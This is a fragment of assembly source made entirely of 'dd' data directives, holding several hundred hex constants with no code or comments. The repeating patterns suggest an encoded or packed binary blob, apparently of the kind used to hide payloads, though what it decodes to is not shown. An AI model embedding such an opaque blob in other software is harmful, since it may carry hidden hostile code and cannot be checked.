		dd 1AB54917h, 156688BEh, 0DEE61E32h, 905D43C4h,	137A9648h
		dd 15490D3Dh, 92694432h, 1566223Eh, 156616DBh, 0F79DF132h
		dd 119B24F6h, 0C83A7B9h, 0A3061727h, 0B7A608E2h, 14DD1753h
		dd 14662232h, 99694AEDh, 15668833h, 6BE37FC7h, 1A603EB5h
		dd 156620B7h, 15636132h, 79054432h, 9EB35284h, 6114B7h
		dd 4B37E834h, 74A9F33Dh, 14DF73CBh, 14661132h, 1A06D1FDh
		dd 156642B3h, 0FCB9A332h
		dd 0A53DB405h, 905DE90Eh, 137AC3B0h, 154BA73Dh,	1F8F1132h
		dd 0C3668832h, 2E8F7D59h, 206A0716h, 0A0E39AA8h, 0EC609D33h
		dd 4D391465h, 198FB572h, 0E8661132h, 37CABE73h,	0A4553C7Bh
		dd 2E0F40D5h, 9E197B7h,	56E38734h, 1A664432h, 156632B6h
		dd 156DF832h, 750E8832h, 4D0AE943h, 0DB2B2C82h,	0A0E39A3Ch
		dd 1A609D34h, 15664EB1h, 0F7E74232h, 72BEA78Eh,	4607E952h
		dd 0EA99BB89h, 4EB90BCDh, 156E9D3Dh, 73068832h,	0A26986B9h
		dd 905D43F2h, 137A96B8h, 155E0D3Dh, 9E9E4432h, 640BB7h
		dd 19E51E34h, 1A668832h, 156642B3h, 15EC2D32h, 43661132h
		dd 1566898Ch, 4B914532h, 156633DBh, 0E9D80432h,	1936AB79h
		dd 0DCF3BC4h, 0C89F8F1Eh, 905DDFC4h, 137A0FA0h,	152DC13Dh
		dd 73062232h, 959D698Ah, 9E078FC5h, 624DB7h, 156BCB34h
		dd 75D31132h, 0FED466F6h, 0F9690479h, 468D3EBEh, 4011289h
		dd 6BAD0967h, 5E4F6613h, 8DE5E1B3h, 0CA6793FEh,	15696169h
		dd 0ADD74432h, 0F7FF10h, 97BDE563h, 66AA907Bh, 9BE37F70h
		dd 1A603EB5h, 156649B7h, 14E88732h, 0E0664432h,	0DA79FB1h
		dd 1A661727h, 1566CCB7h, 9069B832h, 1566223Eh, 1560913Dh
		dd 97698832h, 15664432h, 37FA7B9h, 98691727h, 15668833h
		dd 14DB11C7h, 14662232h, 0FC064CDDh, 15668823h,	0FEBE6022h
		dd 0C6C9A04Bh, 26AA49AAh, 0BF614257h, 0CFD14B4Ch, 0ECDBA153h
		dd 1560041Ch, 152F0C3Dh, 0AB064432h, 15A9B6EBh,	64959152h
		dd 1566063Dh, 74074432h, 9D7CA709h, 9069172Eh, 15668819h
		dd 156649DBh, 67C53532h, 5E5F7CD5h, 67EEF4FCh, 90ED265Ch
		dd 13732857h, 0EADC43CAh, 3C9977CDh, 73061EE5h,	659BF8B3h
		dd 96078F86h, 7A0D8Fh, 91694434h, 1566202Ch, 0E7D11E52h
		dd 0FDE7EE63h, 74397FF7h, 7EB9FB1h, 1A661727h, 15648DB6h
		dd 905DB132h, 137AA5CCh, 1532943Dh, 1B8F8832h, 0F5664432h
		dd 87E724A9h, 0C9F22053h, 3138EE97h, 0F4E3CFECh, 0FC603730h
		dd 1566113Fh, 564C9BD5h, 936132C0h, 13E9C149h, 19EE1E3Fh
		dd 1A668832h, 156642B3h, 15E82D32h, 43661132h, 1566898Ch
		dd 4B914532h, 15662BDBh, 2472A32h, 2EB6D730h, 905DC08Fh
		dd 137AAA3Ch, 1523943Dh, 73068832h, 1D5B96B3h, 156DAE3Dh
		dd 138F1132h, 0BB668832h, 419C7E7Ch, 90ED43A6h,	137307ABh
		dd 156699DBh, 1CEE1D32h, 6A9762FFh, 0D06C0008h,	918E29E2h
		dd 0EA31DFADh, 29ED0636h, 11A29216h, 15670C3Dh,	2E9E4432h
		dd 9EE20B7h, 3DE31E34h,	0ED668832h, 20BC1B9h, 45062427h
		dd 0D100F9B3h, 733E9E81h, 74FE8A8Dh, 733C7052h,	5F6EF3B3h
		dd 0EADED853h, 3C99BBCDh, 2E937AF5h, 9EE03B7h, 27E38734h
		dd 0FC664432h, 15662222h, 0BB92CF2Ah, 0AFF002F9h, 47356C12h
		dd 0A5CBEF96h, 35C794B9h, 44938E27h, 1566458Bh,	4CA92332h
		dd 156619DBh, 71EB7C32h, 57B6D4EDh, 3E319CBh, 1A600DBAh
		dd 1566D2B7h, 9369BD32h, 15662233h, 18E39ACEh, 1A609D14h
		dd 15664EB1h, 1563CB32h, 0C79E1132h, 1A9B152Bh,	156653B2h
		dd 1574CB32h, 81121132h, 0D8965423h, 0E3C6A273h, 2B772499h
		dd 2BF57CC3h, 13763260h, 0E7E72C7Bh, 82D0DBDDh,	753CC61Bh
		dd 748E47B2h, 156642DBh, 48F51832h, 2E936635h, 9EE8EB7h
		dd 3BE34B34h, 0FC662232h, 15661121h, 595A03BDh,	14C21297h
		dd 2CF3644h, 0A6E01EC8h, 9E9FDC67h, 73B5B7h, 0AE35DE34h
		dd 15661133h, 753D5733h, 0E0B7CF54h, 1FE31953h,	1A600DBAh
		dd 1566BDB7h, 0DAED2432h, 8F97A361h, 4C3DE4F1h,	0A269E853h
		dd 0DBD14BFCh, 74E3A953h, 0FC60043Eh, 1566883Eh, 0B61AD3F6h
		dd 62E83E73h, 0F14F2310h, 0EA993260h, 0C24FBBCDh, 0A8E5DB68h
		dd 137303BFh, 18E28732h, 0FC66443Bh, 15662237h,	0E14FB3FDh
		dd 83E3B321h, 1A6058B5h, 156611B7h, 58DD7132h, 95167F2Dh
		dd 0E00756F4h, 8CFA7B9h, 0AC061727h, 6572BE03h,	74B5CF54h
		dd 0FEE7FDB5h, 0EA99EECDh, 936957B5h, 1566443Ah, 1564AB3Dh
		dd 74061132h, 9D4C0D09h, 9069422Eh, 15662271h, 156605DBh
		dd 611B9232h, 110838C6h, 0A21D08A9h, 0ADBFEB43h, 0A9017A88h
		dd 80E3CF49h, 75603701h, 7936AE54h, 92075BB9h, 14A5C5EDh
		dd 92662232h, 156AF8EDh, 0CD7F8832h, 340BDB74h,	5C18D3A3h
		dd 2E9E883Eh, 9E112B7h,	55E34B34h, 0E9662232h, 2D794B9h
		dd 479F8E27h, 0DC127488h, 0D7E76821h, 151F4797h, 5E2A62B3h
		dd 0D7E707B5h, 551F1206h, 946EFBF3h, 0FBADD8C0h, 4FB16DCDh
		dd 156BA93Dh, 1D8F1132h, 0BC668832h, 50F1D7C6h,	2EFD9DDBh
		dd 9E18FB7h, 57E38734h,	0E0664432h, 39CFA7B9h, 1F8F1727h
		dd 88668832h, 4AAC6933h, 6E2AE89Ah, 0D3DF4033h,	9423FF07h
		dd 625383C3h, 4CA92377h, 15661FDBh, 4436B32h, 0B6EE6771h
		dd 5124FF5Fh, 0FC815DA4h, 15668837h, 30653ADh, 0B7E319F0h
		dd 1A600DB5h, 1566A4B7h, 9E9FBD32h, 7BFBB7h, 0F7E67134h
		dd 0ECEDEE7Eh, 0EAD81253h, 3C99DDCDh, 98694FC5h, 1566883Fh
		dd 15664CDBh, 9079E732h, 0D1CA11B8h, 0B3E3B3C8h, 1A6058B5h
		dd 15666CB7h, 16E31E32h, 75668832h, 0A8E525CEh,	13733AF3h
		dd 2DE31E32h, 0ED668832h, 50FC1B9h, 93692427h, 1566113Ah
		dd 0BDFEE52h, 743D17E7h, 156636DBh, 24584032h, 555A1E9h
		dd 0CEB18E27h, 37865875h, 0C3A71BC7h, 0EAD8DE5Dh, 3C99BBCDh
		dd 2E9A7CC5h, 9E1BBB7h,	3BE38734h, 75664432h, 0A8E3A953h
		dd 1A600439h, 15669ABAh, 156BAD32h, 9C962232h, 9618FAA5h
		dd 0EC11634Ch, 4401FED5h, 0EA99DD8Bh, 4CA938CDh, 0CAEDEE52h
		dd 0BBE37F53h, 1A603EB5h, 156662B7h, 0CE28732h,	0FC664432h
		dd 15662226h, 0EF779BCEh, 980BDB4Bh, 2B9FE8F1h,	8690FA1Bh
		dd 2570BFABh, 0DA735B1h, 1A664227h, 156665B7h, 14E81E32h
		dd 0ED668832h, 0F0E6BC52h, 90ED438Dh, 1373253Bh, 1567083Dh
		dd 0E09F4432h, 7CBD9F67h, 0F8A77348h, 24AB0937h, 9410E754h
		dd 6762BDFFh, 74939064h, 942DFB30h, 6E600EC7h, 0C093A345h
		dd 142DEAC1h, 0ED9ED5DDh, 92D4C109h, 9069242Eh,	1566111Ch
		dd 43DEEE52h, 0E2D14BA1h, 80E3A953h, 1A600413h,	15668FB8h
		dd 0D8E62432h, 7496A958h, 1567AA61h, 0CA678832h, 9E002469h
		dd 0B4DF44FCh, 905D70E0h, 137A0F84h, 1531C13Dh,	128F2232h
		dd 6B661132h, 0F8DABA6h, 90ED6D53h, 137320E3h, 0F5DE7152h
		dd 9E6652CBh, 1E8E25CCh, 0D9662232h, 0C0F209B3h, 2699E2h
		dd 0F0E6E988h, 0FC077C21h, 15661137h, 3F3CE53Ch, 11991336h
		dd 315AA916h, 1A62D5B1h, 156684BBh, 13E94B32h, 1A662232h
		dd 156611B0h, 0ABE3B332h, 1A6058B5h, 156640B7h,	1E11E32h
		dd 0FC668832h, 1566443Dh, 0A2DB36C8h, 0A47D4E41h, 0C9C1724Dh
		dd 0E06C4BFCh, 0DA79FB1h, 1A661727h, 1566B2B7h,	3E44B32h
		dd 0FC662232h, 15661123h, 0D5BECBEAh, 943D4C16h, 1E328DBFh
		dd 0D0936E40h, 0D0E30343h, 0EC60512Fh, 15679F67h, 0FA671132h
		dd 1DE5876Fh, 75664432h, 0D3E744C7h, 2E07E090h,	9E132B7h
		dd 4CE34B34h, 1A662232h, 156619B5h, 17E38732h, 75664432h
		dd 0D4DBA153h, 1560042Ah, 15580D3Dh, 99694432h,	15662235h
		dd 1567993Dh, 9E938832h, 714DB7h, 1561CB34h, 0DDFB1132h
		dd 268277B6h, 14D812CFh, 14662232h, 92694FC5h, 15668822h
		dd 15664FDBh, 4CE67632h
		dd 42AFB986h, 0AC1E9730h, 92A4C109h, 9069242Eh,	1566112Bh
		dd 0F4E303C7h, 0E9605126h, 14DD71C7h, 14661132h, 9369D3EDh
		dd 15664433h, 0D3E319CAh, 1A600DB5h, 1566F8B7h,	58F2432h
		dd 5E662232h, 0BDF3E6E2h, 0BB9CDCF2h, 0B8B36F03h, 75E33FBAh
		dd 99B49054h, 74A8021Eh, 4CE3CF53h, 1A603718h, 15660DB0h
		dd 3EA8732h, 0FC664432h, 15662223h, 0D4969E7h, 445C37F0h
		dd 0E21066A1h, 20D4EA59h, 24A12052h, 55A1B9CAh,	0CE14BA5h
		dd 0FC662232h, 15661126h, 0FD384A43h, 0A78A1109h, 0CD605283h
		dd 0F7ADC9Fh, 0A100A37Eh, 0DFE37FC7h, 1A603EB5h, 156630B7h
		dd 15636132h, 63894432h, 9E23AC28h, 6A14B7h, 0A8337D34h
		dd 0EA99BBCDh, 1A3BCD1Bh, 156610B4h, 905D7432h,	137AC3FCh
		dd 152AA73Dh, 9E931132h, 4641B7h, 1577AD34h, 0F5112232h
		dd 0E28C084Bh, 7C67491Dh, 0FFABFFF3h, 45FFDC51h, 1562558Ah
		dd 366F8D29h, 38267192h, 1530266h, 0F5A7C9C5h, 5419A534h
		dd 0D267A10Ch, 156ACB6Ah, 0BFFF1132h, 9EB48A22h, 0ED80CD23h
		dd 905D65AAh, 137A96E0h, 15550D3Dh, 9C694432h, 1566223Ch
		dd 15E31E52h, 94668832h, 89BEACE3h, 90ED437Fh, 13731B3Fh
		dd 156682DBh, 0A406EC32h, 0AC8C4184h, 45E833C9h, 1566898Ah
		dd 4DA14532h, 0C3E319CEh, 1A600DB5h, 1566C1B7h,	1577AD32h
		dd 64502232h, 7FE28419h, 0BE7AC4D7h, 488C5BD6h,	9E1BA22Ah
		dd 6CF4B7h, 0AA00E834h,	7306F604h, 128FEDB9h, 0FF661132h
		dd 0A0AEBC30h, 7407A182h, 0EA999B63h, 0DA4FEECDh, 156E616Bh
		dd 257A4432h, 8A06B482h, 905DEDF5h, 137A0FE8h, 157BC13Dh
		dd 9E9F2232h, 43BCB7h, 15616134h, 0F764432h, 117E33EAh
		dd 24A9202Fh, 54A9B9CBh, 2E938BB5h, 9E1FCB7h, 42E31E34h
		dd 0FC668832h, 1566443Bh, 9285D13Fh, 5DCF5EA9h,	4CE30373h
		dd 1A605131h, 15663AB5h, 1575F832h, 0B88A8832h,	7457808Bh
		dd 60883324h, 658730AFh, 7C793164h, 14DE14F5h, 14662232h
		dd 0FD0649F5h, 1566883Bh, 56CE1A30h, 0D8A484DAh, 0DFE77739h
		dd 733C58B1h, 0FD6F87B3h, 905DDA53h, 13733F0Bh,	15430D3Dh
		dd 73064432h, 4E9FBB3h,	9E07E0B9h, 45B9B7h, 1561AD34h
		dd 604E2232h, 0CDAA85h,	14D8DE41h, 14664432h, 2E9E7CC5h
		dd 9E1F3B7h, 2FE38734h,	0FC664432h, 15662238h, 6171FFEh
		dd 86C0A33Eh, 90ED923Bh, 13732ADBh, 15E81E52h, 74668832h
		dd 2A67FC62h, 0EB637AAEh, 3CC172F2h, 0FC9ED0F5h, 1566443Bh
		dd 0DCC10F7Eh, 0B9BDBFB6h, 0BE3B363h, 1A6058BAh, 15665BB7h
		dd 0F0E67132h, 0A8E5E9FDh, 137ACC14h, 33E32D32h, 0FC661132h
		dd 15668821h, 3A67CB46h, 4CEEAB99h, 0D8565E9Eh,	0FD5D7533h
		dd 968BDC5Ch, 4ACF8Fh, 91691134h, 15668870h, 68E3CFC7h
		dd 0FC603711h, 15661122h, 13CE2382h, 0D416C6F2h, 914936CEh
		dd 0F36AF176h, 156699DBh, 39FEF332h, 0C893A51Fh, 0B6343A8h
		dd 0E70120A0h, 0AB302440h, 0EA99DDCDh, 1A38E61Bh, 156689B8h
		dd 905DB132h, 137AAA10h, 153F943Dh, 96698832h, 15664433h
		dd 33DBA1CAh, 15600DBAh, 15470D3Dh, 969E4432h, 4ACF8Fh
		dd 91691134h, 15668805h, 156BC43Dh, 1D8F2232h, 62661132h
		dd 900B3313h, 9EB7A5E2h, 4537B7h, 0A833ED34h, 0EA9977CDh
		dd 0FC3BAB1Bh, 1566223Dh, 0D492B610h, 0FAAA5C2Ah, 0A1A60C60h
		dd 2E812D73h, 9E1F7B7h,	34E38734h, 0E0664432h, 373BA7B9h
		dd 9E691727h, 15668838h, 24D82252h, 0A1DE44C0h,	0A833707Fh
		dd 0EA9977CDh, 0E03BAB1Bh, 928CA709h, 9069172Eh, 15668815h
		dd 0D0E3CFCEh, 75603713h, 1D86BF89h, 0E2D18759h, 11991353h
		dd 315AA916h, 1A62D5B1h, 15668EBDh, 74062432h, 2E07FCB9h
		dd 9E1FFB7h, 2EE38734h,	0FC664432h, 15662234h, 0D3A9256h
		dd 90ED525Bh, 13736333h, 1574CB52h, 0CD911132h,	0D124D536h
		dd 20C514F2h, 0D0AB8EE5h, 8920D66Bh, 43803752h,	7407422Bh
		dd 0EA999B63h, 0DA4FEECDh, 905D716Bh, 137AC3C0h, 1556A73Dh
		dd 9E9F1132h, 44DDB7h, 9DDD2434h, 1A298D74h, 4607DB85h
		dd 15668989h, 4EB94532h, 57C39C52h, 74934CB6h, 156681DBh
		dd 9CC9FC32h, 0CB626116h, 905D05BAh, 137A0FC4h,	1550C13Dh
		dd 9E932232h, 4A44B7h, 156E6134h, 0FB624432h, 8BCE51C0h
		dd 0AE35FB5Fh, 15668833h, 0FC3D9B33h, 15662226h, 4A2886Bh
		dd 64F526DEh, 95F3DBCCh, 0E407F0E2h, 0D558EF9Ch, 929C0D09h
		dd 9069422Eh, 1566227Ah, 0ECD91E52h, 74D368B2h,	156AAD52h
		dd 27622232h, 88A9A0B9h, 53B0FE31h, 73305ECFh, 743CE5B9h
		dd 8CF94B9h, 479F8E27h,	7525FB88h, 1D8CE370h, 0F7B7CBC5h
		dd 0D5E37AB3h, 0C24F44B6h, 10EB2D68h, 75661132h, 743FDFCAh
		dd 9169BB39h, 15662215h, 1576F852h, 0A29E8832h,	0AF50E3F6h
		dd 48064672h, 0FEDC7234h, 108F6621h, 0B9664432h, 837F3F86h
		dd 0FBFEF853h, 2E9F77CDh, 55C1B7h, 33E32D34h, 75661132h
		dd 0FB8F0961h, 4D345E0Eh, 15E32D61h, 4B661132h,	9BE30553h
		dd 1A605835h, 156620B8h, 0FC077132h, 0EA996654h, 8CE37FC7h
		dd 1A603731h, 15667DB7h, 15746132h, 0A6B04432h,	0FDC8F197h
		dd 489B0A59h, 73611E73h, 0CC05BF9Ah, 0ADF4452h,	1560F958h
		dd 0A0598832h, 0CB39542Fh, 0FB413A8Ch, 96074A33h, 9E1CE8Fh
		dd 90694534h, 15662203h, 94AE9B52h, 53735CF8h, 9506256Bh
		dd 0AF00BEDAh, 9807639Ah, 4C6DEFB7h, 0EA8FB832h, 0FC99DDDFh
		dd 1566113Fh, 0EE770549h, 92951528h, 99A2ACD9h,	43E32A66h
		dd 1A6094B5h, 156650B6h, 905DDB32h, 137A9668h, 157A0D3Dh
		dd 9E064432h, 0C5ED44C9h, 0F8AEF853h, 916977CDh, 15664438h
		dd 0FE229B52h, 9E006F09h, 150EE9F4h, 9E664432h,	0D1E50606h
		dd 14E21E36h, 0ED668832h, 1A67BAB1h, 1566CDB7h,	156BF832h
		dd 0E198832h, 8C936FA3h, 0FC0A8EDAh, 2E681A22h,	9E1C2B7h
		dd 39E34B34h, 75662232h, 156BF8CEh, 0CDEA8832h,	31330731h
		dd 8E72BA7Dh, 7457E028h, 92A20DBFh, 138F446Ah, 1E662232h
		dd 0EDD311FBh, 0F8326173h, 2E9ABBCDh, 9E16CB7h,	27E31E34h
		dd 1A668832h, 156651BCh, 1AE32D32h, 0FC661132h,	15668838h
		dd 0D4D864B2h, 8E0105B0h, 90EBEB5Dh, 153E0008h,	0F846ADCEh
		dd 759ADDCDh, 0E5E7C183h, 47F21599h, 47E37F53h,	1A603EB5h
		dd 15664AB7h, 15696132h, 7CFC4432h, 4DFA246h, 19E2263Dh
		dd 0E6F330F8h, 128F2439h, 0BF662232h, 99A027F9h, 0C7D648ECh
		dd 6AE3C953h, 0FC667ABAh, 1566113Bh, 552B2851h,	0C879C943h
		dd 0F9AACB3Eh, 9C69EECDh, 1566882Ah, 156657DBh,	9EE63432h
		dd 0F119CADDh, 3AB63B81h, 7100DF32h, 79A2CC0Ch,	15243C5Ah
		dd 316A0132h, 0DDEF85BBh, 1576CB6Bh, 562E1132h,	3174A37Ah
		dd 47ECFB60h, 3BB507A7h, 4034168Bh, 928578Fh, 7D56FE55h
		dd 0FF4F87A7h, 0C35AF6Fh, 0C34FB64Bh, 1E9FB868h, 8E32DC4h
		dd 1A661132h, 156689B1h, 508FB132h, 1A99DDDEh, 15661BBFh
		dd 9F69E832h, 15664432h, 0E907B981h, 9C3D4161h,	9A69D3ECh
		dd 15664420h, 15662FDBh, 631E8732h, 0ADA639Fh, 87BA6F40h
		dd 0A0EF6FBCh, 13731673h, 0AB00E8CEh, 9E00F02Fh, 0A0EF43C9h
		dd 13731743h, 97583352h, 48F4AE2h, 29662232h, 43BCB93Dh
		dd 0F0A2A511h, 0D3037314h, 0C9DE7943h, 95077153h, 9069610Ch
		dd 156644FEh, 15662CDBh
		dd 35536332h, 616CCE6Fh, 888301D9h, 0EA99DCE3h,	21E71044h
		dd 29000B16h, 0AD361B69h, 4E5A44B1h, 0E03ED603h, 53BD3567h
		dd 0FA673D70h, 9491236Fh, 5720CADDh, 0FAE6E84Bh, 943025BBh
		dd 513F061Eh, 9ED306Bh,	11A20916h, 94664432h, 4C227BF1h
		dd 0AD36ED13h, 1566C832h, 49C487B3h, 0D6672434h, 49C4FAB3h
		dd 0FC3E8E34h, 1566443Ah, 79F2A302h, 0AE457523h, 12273509h
		dd 97694227h, 15662214h, 2CB1AB52h, 94008DFCh, 746920E8h
		dd 0D3ED4452h, 743CE462h, 93697309h, 1566441Eh,	0CBE74452h
		dd 9E006290h, 3C8FE9F4h, 0FC99BBD9h, 1566223Fh,	0DAD96C15h
		dd 0E8651A09h, 87F34507h, 0CEE7421Fh, 7B37DFDEh, 74AD0354h
		dd 8D7F9B9h, 0ED062427h, 0D207D3B9h, 40B9B7h, 15664434h
		dd 1FEF2D32h, 75661132h, 6C48608Dh, 0CAED2269h,	1F8F4253h
		dd 95661132h, 0E4075AE2h, 0D558BA9Ch, 14E42DB8h, 0EC661132h
		dd 13173DBBh, 1F8F4227h, 0EE662232h, 12D1F0CCh,	60DE2243h
		dd 37FBC9F5h, 1A603F38h, 15660AB5h, 0E18732h, 0FC664432h
		dd 15662222h, 0F9EE5749h, 0C01DC845h, 0B6BFE3CFh, 491CF93Eh
		dd 78FC2CDh, 0DD668832h, 0B6EB8936h, 7C935912h,	95FBEB8Fh
		dd 0FCA7CF3Ah, 1AA64F61h, 15662CB6h, 14EB1E32h,	0ED668832h
		dd 15C4ADCBh, 98932232h, 0FFC6DAFh, 0C6997034h,	0EAE0C73Dh
		dd 9569DDCDh, 15661125h, 15669ADBh, 2BEF9D32h, 0F8BBE40Bh
		dd 0E7301A6Ah, 0DF3679B9h, 9E6F35B6h, 605387h, 3EF1E34h
		dd 0FC668832h, 15664423h, 0FEAC5315h, 8CA163F1h, 0C7649898h
		dd 0F3EF55B9h, 1574CBCAh, 8521132h, 752BC8ABh, 0F9BE4BDEh
		dd 751B4C95h, 9BE6E20Eh, 33573DBBh, 1B8F4227h, 34662232h
		dd 0D7C6A3A7h, 0A22ACE45h, 0FC5CE3BAh, 0E7FBAFD4h, 75600AA4h
		dd 61278988h, 0CFED220Eh, 0FCB5DD53h, 1566113Eh, 0BB234221h
		dd 0A0216838h, 33FCEB07h, 122794B9h, 9C9F8E27h,	6035B7h
		dd 0DEA2D34h, 0FC661132h, 15668821h, 0F0BE8A1Dh, 0D6745AC0h
		dd 661C71B9h, 0F7E10CA2h, 74047B2Ah, 1561A53Dh,	96691132h
		dd 15668833h, 0FD58C4CBh, 15A7A73Dh, 9D691132h,	15668835h
		dd 1567C43Dh, 0ED932232h, 3F27ACB1h, 1A668E27h,	1566E2B6h
		dd 0A635DE32h, 0A13677EAh, 73858823h, 4EBECC6Ah, 156633DBh
		dd 0ABA37132h, 0C39BE29Eh, 0BBB5E181h, 0E87D49DAh, 0E0CC506Fh
		dd 31620364h, 156280B3h, 9E062232h, 16E31EE2h, 73668832h
		dd 4207BAB9h, 0A6392B8Dh, 0ADA19021h, 0D4080311h, 0FAE740D5h
		dd 51416B3Eh, 0A29DEB3h, 0CA9184E4h, 3D37B3B3h,	0ED4F403Bh
		dd 109E386Dh, 5746A0D2h, 1560AD52h, 0D9942232h,	0BF3F4FFh
		dd 74B60354h, 1567C65Ah, 315AAB32h, 1566158Dh, 4A9EA132h
		dd 0EC9AEFC7h, 156404DBh, 9E007132h, 156E61CBh,	40254432h
		dd 1FE6D16h, 98070BA9h,	99672AFh, 156FAD34h, 39D92232h
		dd 0BA069718h, 0EC59C733h, 1C8F97CDh, 0AD662232h, 0D657A76Dh
		dd 9DBFE2C2h, 1030D9BFh, 9F69242Fh, 1566113Fh, 156680DBh
		dd 0F04FA32h, 6629A760h, 0E9B5EEE5h, 90694839h,	15664423h
		dd 1563CBCAh, 0B0621132h, 0FC3877ECh, 1566442Ah, 64E3A1CBh
		dd 10600434h, 0EBA961CEh, 7506BBCDh, 74939584h,	74A0AE3Dh
		dd 123C15BFh, 1C8F422Fh, 56662232h, 473D32F6h, 94DC392Eh
		dd 956997CDh, 15662223h, 15661DDBh, 0DA5EEE32h,	24E0B928h
		dd 9CA82C81h, 0D56DE927h, 157C0D3Dh, 73064432h,	0AF97FAB3h
		dd 0FC07EFB9h, 15668800h, 0CFE72252h, 0B4DE9259h, 7473CE32h
		dd 15623361h, 0D7E74432h, 1D987766h, 0FFE7CB33h, 1D98DD66h
		dd 1560AD69h, 6C392232h, 0FE963BBCh, 1567A6DBh,	88EBB132h
		dd 137CB84Eh, 1561963Dh, 9E698832h, 15664433h, 1AB5DDCAh
		dd 156646B1h, 15776132h, 2EEF4432h, 0BD583436h,	37A4DC91h
		dd 723967BDh, 9EEACAF1h, 605387h, 3E31E34h, 0FC668832h
		dd 15664423h, 7494C6D2h, 17F3A0A3h, 0F8061CD7h,	57CA128Fh
		dd 538FD78Fh, 0FC66111Fh, 15668826h, 4566FA63h,	7265BE51h
		dd 0FE837295h, 4C13CA86h, 0E52DFFA5h, 1317AFB9h, 9C9E1727h
		dd 60F987h, 1E64B34h, 0FC662232h, 1566113Dh, 8293E99Ch
		dd 8806E0F5h, 0A5D531CCh, 4035EB61h, 191E198Fh,	0F8E70927h
		dd 7AB205DBh, 0D8E7CCC5h, 2F15879Eh, 0F3A3C57Fh, 3CDD9F64h
		dd 0E44F4CDBh, 138449B3h, 5C9F7287h, 0C391D3B5h, 7306E0B5h
		dd 7B14EB3h, 0D3ED2252h, 7407F8B9h, 156619DBh, 12E46932h
		dd 0BBBC5460h, 0FBD975E3h, 5210F841h, 524847B3h, 942141E9h
		dd 0B46968C5h, 4A983810h, 0D3E7461Bh, 403C3C88h, 156BCBCEh
		dd 26DE1132h, 0FB921643h, 1CF47DD0h, 0E64E49A5h, 14E31E96h
		dd 0ED668832h, 0EA9B68DBh, 0AA6942CDh, 0CAED71FBh, 989EE953h
		dd 0EFE97AFh, 1560CB34h, 1E91132h, 48415002h, 9F0697CDh
		dd 9C3343D1h, 9E8E98CFh, 0D1E5AC1Eh, 58E2436h, 82662232h
		dd 0CDBFCBDFh, 0E163F834h, 942FB95Dh, 1A74C341h, 9F3FEE8Dh
		dd 904DE9D5h, 13735983h, 157CAD3Dh, 91691132h, 15668826h
		dd 15664BDBh, 0F3D9BC32h, 46489C74h, 0DF01F8EAh, 8512AB3h
		dd 98E3ABCEh, 0ED600430h, 0A4E303CBh, 7560512Fh, 15662EDAh
		dd 608A5732h, 4A4DFB51h, 0AEE5D571h, 1563CB65h,	0A6001132h
		dd 4D9FEF07h, 0FB8FC554h, 9C31430Ah, 11A190D5h,	94668832h
		dd 156640DDh, 315AA532h, 315A986Eh, 15770B3Dh, 198F4432h
		dd 0B2662232h, 373B3581h, 8210CE2h, 7DAF7308h, 15662814h
		dd 754215BBh, 156684DBh, 0BFB00632h, 0A34F4655h, 0A01F5539h
		dd 156E6005h, 0B624432h, 15CF95F1h, 9E00F267h, 0EC07D0E2h
		dd 8EA6C9BFh, 0A1062429h, 730670C3h, 749F73B9h,	1E8F95CDh
		dd 0CA662232h, 34BC34B0h, 394964B2h, 90ED2348h,	137308CFh
		dd 2FE679C7h, 11EF8832h, 156CAD16h, 71AB2232h, 32687B2Dh
		dd 0BA5CED51h, 1512045Ah, 315AAB32h, 1AAE9A52h,	156688BDh
		dd 90ED2532h, 13733F83h, 0E911A052h, 0F4EFD953h, 156285B3h
		dd 0FCE52232h, 316A9636h, 3162016Eh, 0CFDD2252h, 0CFC79ABCh
		dd 9807681Fh, 0EFB97BFh, 1DE64B34h, 75662232h, 1566973Dh
		dd 0EA078832h, 730624E3h, 1AE1748Bh, 156611B6h,	9169E932h
		dd 15664439h, 156624DBh, 0A355232h, 74425971h, 9C62A8B1h
		dd 753C0636h, 15661FDAh, 0D6532F32h, 0C085CDE6h, 6B335F27h
		dd 0FC331DF7h, 15668834h, 0CC8B40DAh, 753D1CBBh, 9F889054h
		dd 7407E803h, 2C522C53h, 11EF2232h, 9D694816h, 15668834h
		dd 753D1352h, 984D4353h, 13733BCFh, 6CDB0BC7h, 1560511Eh
		dd 15DCA63Dh, 9A691132h, 15668821h, 15664ADBh, 1B6F032h
		dd 0B29FA6A1h, 0E0B09F27h, 9ED06A54h, 748BB7h, 156DF834h
		dd 0CBD38832h, 8A0ADE3Dh, 0DDE80541h, 0A30671EDh, 7439D9ACh
		dd 68BCC554h, 904D4328h, 13733D4Bh, 156681DBh, 7CAA2A32h
		dd 15EBFAD4h, 0D45DBF7Bh, 15040E3Dh, 78F4432h, 21662232h
		dd 499868Fh, 93286AA7h,	817EC5FEh, 5577F2E7h, 0B4E39A27h
		dd 0FC609D2Eh, 1566443Bh, 568AD656h, 9D8E14BEh,	6CE38B7Ch
		dd 7560511Eh, 1565A53Dh, 0F2E61132h, 0CCEDDA5Bh, 90EF2569h
		dd 13733BBFh, 0CBED7752h, 743DD852h, 14C2AD53h,	96692232h
		dd 1566113Ah, 15640D3Dh, 74064432h, 1553955Ah, 316A9832h
		dd 156681DBh, 0C01C4E32h, 0B3B7B794h, 9437709Bh, 2F42AC1Eh
		dd 443E6FA1h, 865C068Bh
		dd 4CAE1019h, 0EAD8DECBh, 1499BBCDh, 0FC067CC2h, 15661138h
		dd 10C84E8Ah, 0A791B390h, 0ED07BB68h, 85DE4164h, 0AB76BE43h
		dd 5503A5Dh, 1C3EE403h,	78F4FC2h, 8E668832h, 6ADB481Fh
		dd 30C73524h, 83A13855h, 0FDC6904Fh, 0AA31BDAFh, 0EA99DDCDh
		dd 1A39E91Bh, 156689B3h, 78FBC32h, 4D662232h, 293B37E9h
		dd 7935AA6Ch, 53B92EF4h, 3EC53C56h, 0BCE3981Dh,	0FC609D20h
		dd 15664438h, 0B80B517Fh, 9ECEC762h, 9067EC65h,	1373475Fh
		dd 156629DBh, 4ED63A32h, 0D495235Bh, 7E60D1AFh,	391FA7F5h
		dd 15661727h, 95698832h, 1566443Ah, 1564AD3Dh, 74061132h
		dd 1A06C858h, 156644BBh, 0C4DE4432h, 150E70C4h,	75668822h
		dd 156648DBh, 16AFAE32h, 0EE3659F0h, 0B3174339h, 9C3325FBh
		dd 11A3A3D7h, 96661132h, 39E18CDFh, 19EF1816h, 156ECB16h
		dd 71B71132h, 0BC7F8ED1h, 150CE010h, 15E12D52h,	0FC661132h
		dd 15668837h, 82F97423h, 0EA9A4383h, 42D8A7h, 80997034h
		dd 13736C2Fh, 1561A83Dh, 96691132h, 15668833h, 0B4E3CDC7h
